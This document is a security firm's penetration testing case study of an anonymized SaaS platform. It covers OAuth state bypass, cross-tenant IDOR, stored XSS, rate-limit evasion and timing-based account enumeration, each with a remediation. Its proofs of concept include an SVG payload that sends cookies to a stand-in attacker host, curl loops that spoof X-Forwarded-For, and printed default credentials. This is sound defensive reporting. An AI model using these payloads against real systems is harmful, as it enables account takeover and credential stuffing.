Penetration Testing Case Study: How We Found Critical Vulnerabilities in a SaaS Platform
A real-world penetration testing case study covering scoping, methodology, key findings including auth bypass and IDOR, remediation, and business impact.
The Engagement
In late 2025, a B2B SaaS company we will call Meridian (details anonymized per our standard client confidentiality agreement) approached us for their first external penetration test. Meridian operates a project management platform serving approximately 3,000 business customers. Their platform handles sensitive project data, client communications, file sharing, and billing integrations for teams ranging from 5 to 500 users.
The engagement was driven by two concurrent triggers: an upcoming SOC 2 Type II audit that required evidence of penetration testing, and growing pressure from enterprise prospects who were requesting security assessment documentation as part of their vendor evaluation process. Meridian had conducted automated vulnerability scans in the past but had never commissioned a manual penetration test.
This case study walks through the engagement from scoping to remediation verification. The findings, while specific to Meridian's platform, represent vulnerability patterns we encounter across a significant percentage of SaaS application tests.
Scoping
Meridian's platform consists of a React single-page application communicating with a REST API built on Node.js and Express, backed by PostgreSQL. The application supports three user roles: workspace admin, member, and guest (external collaborators with limited access). Authentication uses email/password with optional TOTP-based two-factor authentication, plus Google and Microsoft OAuth for SSO.
The scope was defined through our penetration testing scoping wizard, which captured:
- Primary target: The customer-facing web application and its API (api.meridian-app.example)
- Authentication model: Three roles (admin, member, guest) across multi-tenant workspaces
- Testing type: Gray-box (we received API documentation, a test workspace with accounts for each role, and architecture overview documentation)
- API surface: 147 documented REST endpoints across 12 resource groups
- Integrations in scope: OAuth SSO, Stripe billing webhook handler, file upload/download service
- Out of scope: Internal admin dashboard, infrastructure (AWS), mobile applications
- Timeline: Two-week testing window with real-time critical finding notification
Automated Reconnaissance
Before manual testing began, the CyberShield platform completed a full external assessment of Meridian's infrastructure. This automated reconnaissance identified several findings that informed the manual testing approach:
- TLS configuration: TLS 1.2 and 1.3 supported, strong cipher suites, valid certificate chain. No issues.
- Security headers: Missing
Permissions-Policyheader.Content-Security-Policypresent but overly permissive (script-src 'self' 'unsafe-inline' 'unsafe-eval' https:).X-Frame-Optionsset toSAMEORIGIN. - Technology fingerprinting: Express.js backend confirmed. React 18 frontend with webpack build. Cloudflare CDN and WAF detected.
- Subdomain discovery: 14 subdomains identified, including
staging.meridian-app.examplewhich resolved to a publicly accessible staging environment. - Exposed paths:
/api/docsreturned a Swagger UI page with full API documentation (intended for internal use).
Two findings from the automated phase became significant inputs for manual testing: the exposed staging environment and the public API documentation. The Swagger documentation gave us a complete map of every endpoint, parameter, and expected response format -- exactly the kind of intelligence that typically requires days of manual API enumeration.
Key Findings
The engagement produced 23 findings across all severity levels. We will walk through the five most significant ones in detail, as they represent the vulnerability patterns that carry the greatest business impact.
Finding 1: Authentication Bypass via OAuth State Parameter Manipulation (Critical)
OWASP category: WSTG-ATHN-01 (Testing for Credentials Transported over an Encrypted Channel) / WSTG-ATHN-04 (Testing for Authentication Bypass)
Description: Meridian's Google OAuth implementation contained a flaw in how it handled the state parameter during the OAuth callback flow. The state parameter is designed to prevent CSRF attacks by binding the OAuth request to the user's session. Meridian's implementation generated the state token correctly but did not validate it on the callback.
The attack path:
An attacker could initiate an OAuth flow, capture the authorization URL, and replace the state parameter with one associated with a different user's session. When the victim clicked the manipulated link (delivered via phishing or embedded in a malicious page), the OAuth callback would associate the attacker's Google account with the victim's Meridian workspace.
Proof of concept:
# Step 1: Attacker initiates OAuth flow and captures the redirect
GET /auth/google/callback?code=ATTACKER_AUTH_CODE&state=VICTIM_STATE_TOKEN HTTP/1.1
Host: api.meridian-app.example
# Result: The attacker's Google account is linked to the victim's workspace
# The attacker can now log in via Google OAuth and access the victim's data
We demonstrated the vulnerability by linking a test Google account to a different test workspace, confirming that authentication was successful and the linked account had full member-level access to the workspace.
Business impact: An attacker could gain unauthorized access to any workspace where they could deliver the manipulated OAuth link to a workspace member. This affected confidentiality (access to all project data, files, and communications in the workspace), integrity (ability to modify projects, invite additional users, and alter billing settings), and availability (ability to remove legitimate users or delete projects).
Remediation: Validate the state parameter against the authenticated session on every OAuth callback. Reject the callback if the state does not match. Implement a short expiration (5 minutes) on state tokens. Meridian deployed the fix within 48 hours of notification.
Finding 2: Insecure Direct Object Reference in File Download API (High)
OWASP category: WSTG-ATHZ-04 (Testing for Insecure Direct Object References)
Description: The file download endpoint (GET /api/files/:fileId/download) accepted a file identifier and returned the file contents. The endpoint verified that the requesting user was authenticated but did not verify that the user had access to the workspace containing the file.
The attack path:
File IDs were UUIDs, which prevented simple sequential enumeration. However, file IDs were exposed in multiple locations: API responses when listing project contents, webhook payloads, and the URL structure of shared file links. An authenticated user in Workspace A who obtained a file ID from Workspace B (through a shared link, a forwarded webhook notification, or API response inspection) could download that file directly.
Proof of concept:
# Authenticated as user in Workspace A
# Using a file ID belonging to Workspace B
GET /api/files/f47ac10b-58cc-4372-a567-0e02b2c3d479/download HTTP/1.1
Authorization: Bearer <workspace_a_user_token>
Host: api.meridian-app.example
# Response: 200 OK with file contents from Workspace B
# Expected: 403 Forbidden (user has no access to Workspace B)
We validated this by creating a file in one test workspace and downloading it using credentials from a completely separate test workspace. The download succeeded with full file contents.
Business impact: Cross-tenant data exposure. Any authenticated Meridian user could access files belonging to any other workspace if they obtained the file ID. Given that file IDs appeared in shared links (a core platform feature), the practical exploitability was high.
Remediation: Add workspace-level authorization checks to the file download endpoint. Verify that the authenticated user belongs to the workspace that owns the requested file. Apply the same check to all file-related endpoints (preview, metadata, version history). Meridian implemented the fix across all file endpoints and conducted an access log review to confirm no unauthorized access had occurred in production.
Finding 3: Stored Cross-Site Scripting in Project Description (High)
OWASP category: WSTG-INPV-02 (Testing for Stored Cross-Site Scripting)
Description: The project description field accepted Markdown input and rendered it to HTML in the browser. The Markdown parser correctly sanitized most HTML tags, but SVG elements with embedded event handlers were not filtered.
The attack path:
A user with member-level access could set a project description containing a malicious SVG payload. When any other user in the workspace viewed the project, the JavaScript would execute in their browser session with their authentication context.
Proof of concept:
# Project Overview
This project covers the Q1 launch.
<svg onload="fetch('https://attacker.example/steal?cookie='+document.cookie)">
When rendered, the SVG onload event executed JavaScript that could exfiltrate session tokens, perform actions as the victim user, or redirect to a phishing page. We demonstrated the vulnerability by injecting a payload that logged the victim's session token to our test server, confirming that the token could be used to authenticate as the victim.
Business impact: Account takeover for any user who viewed the affected project. Because project descriptions are visible on the project dashboard (a high-traffic page), a single stored XSS payload could potentially compromise every active user in the workspace.
Remediation: Implement a strict allowlist of permitted HTML elements in Markdown rendering. Strip all event handler attributes (onload, onerror, onclick, etc.) from rendered HTML. Apply Content Security Policy with script-src 'self' to prevent inline script execution as a defense-in-depth measure. Meridian updated their Markdown sanitization library and tightened their CSP header.
Finding 4: API Rate Limiting Bypass via Header Manipulation (Medium)
OWASP category: WSTG-BUSL-05 (Testing Number of Times a Function Can Be Used)
Description: Meridian implemented rate limiting on authentication endpoints to prevent credential stuffing attacks. The rate limiter was configured to allow 10 login attempts per IP address per minute. However, the rate limiter used the X-Forwarded-For header to identify the client IP, and the application did not validate or sanitize this header before passing it to the rate limiter.
The attack path:
An attacker could bypass rate limiting by rotating the value of the X-Forwarded-For header with each request, causing the rate limiter to treat each request as originating from a different IP address.
Proof of concept:
# First 10 attempts are rate-limited normally
for i in $(seq 1 10); do
curl -s -o /dev/null -w "%{http_code}" \
-X POST https://api.meridian-app.example/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"target@example.com","password":"attempt'$i'"}'
done
# 11th attempt returns 429 Too Many Requests
# Bypass: Add X-Forwarded-For header with a different IP
curl -s -o /dev/null -w "%{http_code}" \
-X POST https://api.meridian-app.example/auth/login \
-H "Content-Type: application/json" \
-H "X-Forwarded-For: 10.0.0.1" \
-d '{"email":"target@example.com","password":"attempt11"}'
# Returns 401 Unauthorized (not 429) -- rate limit bypassed
Business impact: The rate limiting bypass enabled credential stuffing attacks against any account. Combined with the account enumeration finding (Finding 5 below), an attacker could systematically test passwords against known-valid email addresses without triggering account lockout or rate limit protections.
Remediation: Configure the rate limiter to use the connecting IP address from the network layer rather than the X-Forwarded-For header. Since Meridian's application runs behind Cloudflare, use Cloudflare's CF-Connecting-IP header (which Cloudflare sets and the client cannot spoof) as the authoritative client identifier. Apply rate limiting at the Cloudflare level as an additional layer.
Finding 5: Username Enumeration via Password Reset Timing (Low)
OWASP category: WSTG-IDNT-04 (Testing for Account Enumeration)
Description: The password reset endpoint returned the same response message for valid and invalid email addresses ("If an account exists with that email, a reset link has been sent"). However, the response time differed measurably: valid email addresses triggered a database lookup, email composition, and delivery queue insertion, resulting in response times of 800-1200ms. Invalid email addresses returned after only the database lookup, in 150-250ms.
The attack path:
By measuring response times across a list of email addresses, an attacker could determine which addresses were associated with active Meridian accounts. This information enables targeted credential stuffing, social engineering, and phishing attacks.
Proof of concept:
# Valid email (registered account): ~1000ms response
time curl -s -o /dev/null \
-X POST https://api.meridian-app.example/auth/reset-password \
-H "Content-Type: application/json" \
-d '{"email":"valid-user@example.com"}'
# real 0m1.037s
# Invalid email (no account): ~200ms response
time curl -s -o /dev/null \
-X POST https://api.meridian-app.example/auth/reset-password \
-H "Content-Type: application/json" \
-d '{"email":"not-a-user@example.com"}'
# real 0m0.198s
Business impact: Low severity individually, but this finding enables and amplifies other attacks. When combined with the rate limiting bypass (Finding 4), an attacker could enumerate valid accounts at scale and then conduct targeted credential stuffing without rate limit restrictions.
Remediation: Normalize response times by introducing a delay for invalid emails that matches the average processing time for valid emails. Alternatively, queue the email sending asynchronously and return immediately for all requests, making the response time independent of whether the account exists.
The Staging Environment
The staging environment discovered during automated reconnaissance (staging.meridian-app.example) deserves separate mention. While exploitation of the staging environment was outside the agreed scope, we notified Meridian immediately because:
- The staging environment was publicly accessible with no authentication barrier
- It contained what appeared to be recent copies of production data (based on visible project names and user counts in the UI)
- The staging environment ran with debug logging enabled, exposing database queries in API error responses
- Default admin credentials (
admin@meridian.test/password123) were active
Meridian confirmed that the staging environment was refreshed weekly from a production database backup with PII partially masked. They immediately restricted access to their VPN and implemented a process to ensure staging environments are not publicly accessible.
Summary of All Findings
| Severity | Count | Categories |
|---|---|---|
| Critical | 1 | OAuth authentication bypass |
| High | 3 | IDOR in file downloads, stored XSS, staging environment exposure |
| Medium | 5 | Rate limiting bypass, missing security headers, verbose API errors, CORS misconfiguration, session timeout too long |
| Low | 8 | Timing-based enumeration, cookie attribute gaps, autocomplete on sensitive fields, minor CSP gaps |
| Informational | 6 | Technology version disclosure, unnecessary HTTP methods, missing HSTS preload |
Remediation and Verification
Meridian's engineering team addressed findings in priority order:
Week 1 (during the engagement): The critical OAuth bypass and the high-severity IDOR were fixed within 48 hours of notification. We verified both fixes before the engagement concluded.
Week 2-3 (post-report): The stored XSS, rate limiting bypass, and staging environment exposure were remediated. The remaining medium-severity findings were addressed as part of a broader security hardening sprint.
Week 4 (remediation verification): We conducted a targeted re-test of all critical and high-severity findings, confirming:
- The OAuth state parameter was properly validated, and manipulated state tokens were rejected with a 403 response
- File download endpoints enforced workspace-level authorization, returning 403 for cross-tenant requests
- The XSS payload was stripped by the updated Markdown sanitizer, and the tightened CSP blocked inline script execution as defense-in-depth
- The staging environment was no longer publicly accessible
The re-test also confirmed that the fixes were implemented at the pattern level rather than just the specific test cases. The authorization check on file downloads applied to all file endpoints, not just the download endpoint we tested. The Markdown sanitizer stripped all event handlers, not just onload.
Business Impact and ROI
The engagement cost Meridian approximately $28,000 (two-week web application test with remediation verification). Here is what that investment prevented:
The OAuth bypass alone could have resulted in unauthorized access to any of their 3,000 customer workspaces. A single compromised enterprise workspace containing sensitive project data -- financial plans, product roadmaps, client contracts -- could have triggered regulatory notification requirements, customer churn, and litigation. The average cost of a data breach for a company of Meridian's size exceeds $3 million.
The IDOR vulnerability represented a cross-tenant data exposure that, if exploited at scale, would have affected every customer simultaneously. This type of finding is a company-ending event for a SaaS platform built on the promise of data isolation between tenants.
The SOC 2 audit that triggered the engagement was completed successfully three months later. The penetration test report, combined with the documented remediation and verification, provided the evidence the auditor needed for the security monitoring and risk assessment criteria.
Enterprise deals that were stalled by the lack of security documentation moved forward. Meridian reported that having a professional penetration test report and remediation evidence was cited as a deciding factor in two enterprise contracts signed in the quarter following the engagement.
Lessons for Other Organizations
Meridian's experience illustrates patterns we see across many first-time penetration test engagements:
Authorization is the most common critical finding. IDOR and other authorization flaws appear in the majority of web application tests. The root cause is almost always the same: the API verifies authentication (is the user logged in?) but not authorization (does this user have access to this specific resource?). This is a design-level issue that requires systematic authorization checks on every endpoint that accesses tenant-specific data.
OAuth implementations are frequently flawed. OAuth is complex, and subtle implementation errors create critical vulnerabilities. State parameter validation, token exchange verification, and scope enforcement all require careful implementation and testing.
Automated scanning finds configuration issues. Manual testing finds logic issues. The automated reconnaissance phase identified the staging environment exposure and security header gaps. The manual testing phase found the OAuth bypass, IDOR, and business logic flaws. Both are necessary; neither is sufficient alone.
Staging environments are a common blind spot. Organizations frequently secure their production environment while leaving staging, development, or QA environments publicly accessible with weaker controls and real data. Every externally accessible environment needs the same security baseline as production.
Next Steps
If your organization has not undergone a penetration test, or if it has been more than 12 months since your last engagement, the findings in this case study represent the types of issues that may exist in your environment today. The question is not whether vulnerabilities exist -- it is whether you find them before an attacker does.
To understand what a penetration test of your application would involve, start with our penetration testing scoping wizard. For context on what to expect from the engagement process and what a quality pentest report looks like, our guides walk through each stage.
For organizations interested in the continuous automated assessment that feeds into our manual testing engagements, explore our CyberShield platform and see how API security testing fits into a comprehensive security program.
Continue Reading
How to Choose a Penetration Testing Company: The Buyer's Checklist
A practical guide to evaluating penetration testing providers — certifications, methodology, reporting quality, and the questions you should ask before signing.
Our Penetration Testing Approach: Intelligence-Led Testing Powered by CyberShield
How TechPause combines automated attack surface intelligence with expert manual testing to deliver higher-quality penetration testing engagements.
API Security Testing Checklist
A systematic checklist for testing API security covering authentication, authorization, rate limiting, input validation, error handling, CORS, TLS enforcement, and versioning with practical curl and httpie command examples.